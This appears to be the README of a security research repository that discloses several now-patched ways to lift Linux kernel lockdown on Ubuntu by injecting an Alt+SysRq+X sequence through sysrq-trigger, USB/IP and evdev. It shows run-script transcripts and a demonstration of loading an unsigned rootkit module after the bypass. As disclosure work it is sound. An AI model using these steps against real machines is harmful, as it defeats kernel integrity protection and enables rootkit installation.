Repository files navigation

This repo demonstrates some ways to disable or bypass kernel lockdown on Ubuntu (and some other) kernels without physical access to the machine, essentially bypassing this security feature.

(Updated 21.03.2020.) At this point, all outlined bypass methods have been fixed on Ubuntu, Fedora and Debian (seethis for details). The other linked methods might still work.

Once upon a time, while working on someUSB fuzzing related stuff, I was about to trace the kernel viakprobe on my new laptop, but instead...

perf-tools/bin# ./kprobe 'r:usb usb_control_msg rv=$retval'Tracing kprobe usb. Ctrl-C to end../kprobe: line 228: echo: write error: Operation not permittedERROR: adding kprobe "r:usb usb_control_msg $retval".Last 2 dmesg entries (might contain reason):...    [  235.815912] Lockdown: kprobe: Use of kprobes is restricted; see man kernel_lockdown.7Exiting.

Lockdown, eh?

Linux kernel lockdown is a security feature that aims at restricting root's ability to modify the kernel at runtime.See more details in"Kernel lockdown in 4.17?" by Jonathan Corbet and"Linux kernel lockdown and UEFI Secure Boot" by Matthew Garrett.After many years of being in review, the lockdown patchset has beenmerged into the upstream kernel in version 5.4.Ubuntu has applieda version of this patchset to their kernels in 2018.

Lockdown is enabled by default on my ThinkPad X1 Carbon laptop with Ubuntu Bionic:

# uname -aLinux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux# dmesg...[    0.000000] secureboot: Secure boot enabled[    0.000000] Kernel is locked down from EFI secure boot; see man kernel_lockdown.7...

The early versions of the lockdown patchset integrated kernel lockdown with UEFI secure boot and had a way to disable lockdown at runtime by sending an Alt+SysRq+X key sequence on an attached physical keyboard. Later those patchesweredropped from the upstream patchset, but not from the distro backports.

While some ways to trigger Alt+SysRq+X from software (e.g. via/dev/uinput) were accounted for and disabled, a few still remain.Here I'll show some methods to disable lockdown by injecting an Alt+SysRq+X key sequence without having physical access to the machine.

The lockdown patchset included a patch that disallowed disabling lockdown by triggering a SysRq via/proc/sysrq-trigger.Unfortunately, the early versions of this patch contained abug and the restriction hadn't actually been enforced. On Ubuntu the bug has beenintroduced with the first backport of the lockdown patches (since release in April 2018 for Bionic), andfixed in December 2019.

Disabling lockdown with this method is trivial as shownhere.

Vulnerable:

# uname -aLinux x1 4.15.0-70-generic #79-Ubuntu SMP Tue Nov 12 10:36:11 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux# cd 00-sysrq-trigger/# ./run.sh ...Done! Check dmesg.# dmesg...[  315.760278] sysrq: SysRq : [  315.760282] This sysrq operation is disabled from userspace.[  315.760292] Disabling Secure Boot restrictions[  315.760296] Lifting lockdown

Fixed:

# uname -aLinux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux# cd 00-sysrq-trigger/# ./run.sh ...Done! Check dmesg.# dmesg...[  208.412031] sysrq: SysRq : [  208.412032] This sysrq operation is disabled from userspace.

(The fix actually went into4.15.0-72-generic.)

Another way to turn off lockdown is to emulate a USB keyboard viaUSB/IP (as long as it's enabled in the kernel) and send an Alt+SysRq+X key combination through it.This has actually been previously pointed out by Jann Hornhere.

Ubuntu's kernels have USB/IP enabled (CONFIG_USBIP_VHCI_HCD=m andCONFIG_USBIP_CORE=m) with signedusbip_core andvhci_hcd modules provided in thelinux-extra-modules-* package.

(Jann has also mentioned the Dummy HCD/UDC module, which can indeed by used together with e.g. GadgetFS to do the same trick, butCONFIG_USB_DUMMY_HCD is not enabled in Ubuntu kernels.)

Here you can find the code that emulates a keyboard over USB/IP and sends an Alt+SysRq+X key combination.This script shows how to run it.It's possible to simplify the implementation of this method by directly interacting with the VHCI driver to emulate a USB device, but I didn't bother with this.

(Updated 18.02.2020.) This method and has been fixed inUbuntu andFedora kernels by dropping the "Add a SysRq option to lift kernel lockdown" patch.

# uname -aLinux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux# cd 01-usbip/# ./run.sh ...+ modprobe vhci_hcd+ modprobe usbip_core+ echo 1+ gcc keyboard.c -o keyboard+ usbip attach -r 127.0.0.1 -b 1-1+ ./keyboardwaiting for connection...connection from 127.0.0.1OP_REQ_IMPORT+ sleep 3USBIP_CMD_SUBMITcontrol requestbRequestType: 0x80 (IN), bRequest: 0x6, wValue: 0x100, wIndex: 0x0, wLength: 64USBIP_CMD_SUBMITcontrol requestbRequestType: 0x80 (IN), bRequest: 0x6, wValue: 0x100, wIndex: 0x0, wLength: 18...+ echo 'Done! Check dmesg.'Done! Check dmesg.# dmesg[  422.346185] vhci_hcd vhci_hcd.0: USB/IP Virtual Host Controller[  422.346190] vhci_hcd vhci_hcd.0: new USB bus registered, assigned bus number 5...[  423.233918] input: x as /devices/platform/vhci_hcd.0/usb5/5-1/5-1:1.0/0003:046D:C312.0002/input/input19[  423.293702] hid-generic 0003:046D:C312.0002: input,hidraw1: USB HID v1.10 Keyboard [x] on usb-vhci_hcd.0-1/input0[  423.429609] sysrq: SysRq : Disabling Secure Boot restrictions[  423.429612] Lifting lockdown

(Added 21.03.2020.)

While Ubuntu's backport of the lockdown patchsetdisallows injecting input events throughuinput, it does nothing aboutevdev, that can also be used for input injection as long as you have a connected device that supports the required keys (e.g. a built-in laptop keyboard).

Here is the code that finds an appropriate/dev/input/ device and injects Alt+SysRq+X sequence through it.Here is a Python program that does the same.

This method doesn't really give anything on top of the previous one from a practical standpoint, and it's actually fixed by the same patch that drops support for lifting lockdown via SysRq.

# uname -aLinux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux# cd 02-evdev# ./run.sh+ echo 1+ gcc ./evdev-sysrq.c -o evdev-sysrq+ ./evdev-sysrqchecking /dev/input/event0EV_KEY supportedchecking /dev/input/event1checking /dev/input/event10checking /dev/input/event11checking /dev/input/event12checking /dev/input/event13checking /dev/input/event14checking /dev/input/event15checking /dev/input/event16EV_KEY supportedchecking /dev/input/event2EV_KEY supportedchecking /dev/input/event3EV_KEY supportedKEY_SYSRQ supportedEV_SYN supportedfound device /dev/input/event3sending Alt+SysRq+X sequencedone# dmesg...[  192.723788] sysrq: SysRq : Disabling Secure Boot restrictions[  192.723791] Lifting lockdown

• American Unsigned Language andAmerican Unsigned Language 2

• dkms packages generate insecure MOK, allow potential lockdown bypass

• CVE-2022-21499: trivial lockdown break andfix

• CVE-2022-21505: Kernel lockdown bypass bug andfix

What happens now that lockdown has been disabled?

At the very least I can now usekprobe on my laptop.(No need to waste time remembering thattricky key combination sequence every time.)

perf-tools/bin# ./kprobe 'r:usb usb_control_msg rv=$retval'Tracing kprobe usb. Ctrl-C to end.     kworker/3:2-984   [003] d...   334.012577: usb: (hub_ext_port_status+0x8b/0x130 <- usb_control_msg) rv=0x4     kworker/3:2-984   [003] d...   334.012590: usb: (usb_clear_port_feature+0x35/0x40 <- usb_control_msg) rv=0x0     kworker/3:2-984   [003] d...   334.012595: usb: (hub_ext_port_status+0x8b/0x130 <- usb_control_msg) rv=0x4

And of course it's now also possible to do other fun stuff like loading unsigned kernel modules.

# uname -aLinux x1 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux# cd rootkit# make...# insmod rootkit.koinsmod: ERROR: could not insert module rootkit.ko: Required key not available# cd ../01-usbip# ./run.sh...Done! Check dmesg.# dmesg | grep 'Lifting lockdown'[  146.480046] Lifting lockdown# cd ../rootkit# insmod rootkit.ko# dmesg | grep rootkit[  175.953572] rootkit: loading out-of-tree module taints kernel.[  175.953574] rootkit: module license 'unspecified' taints kernel.[  175.953621] rootkit: module verification failed: signature and/or required key missing - tainting kernel[  175.953975] rootkit successfully loaded

The code in this repository comes with no attached license: parts of it are taken from random places all over the Internet and have unknown or conflicting licenses. Do not use this code if you care about legal consequences.

THE SOFTWARE [and this disclaimer] IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.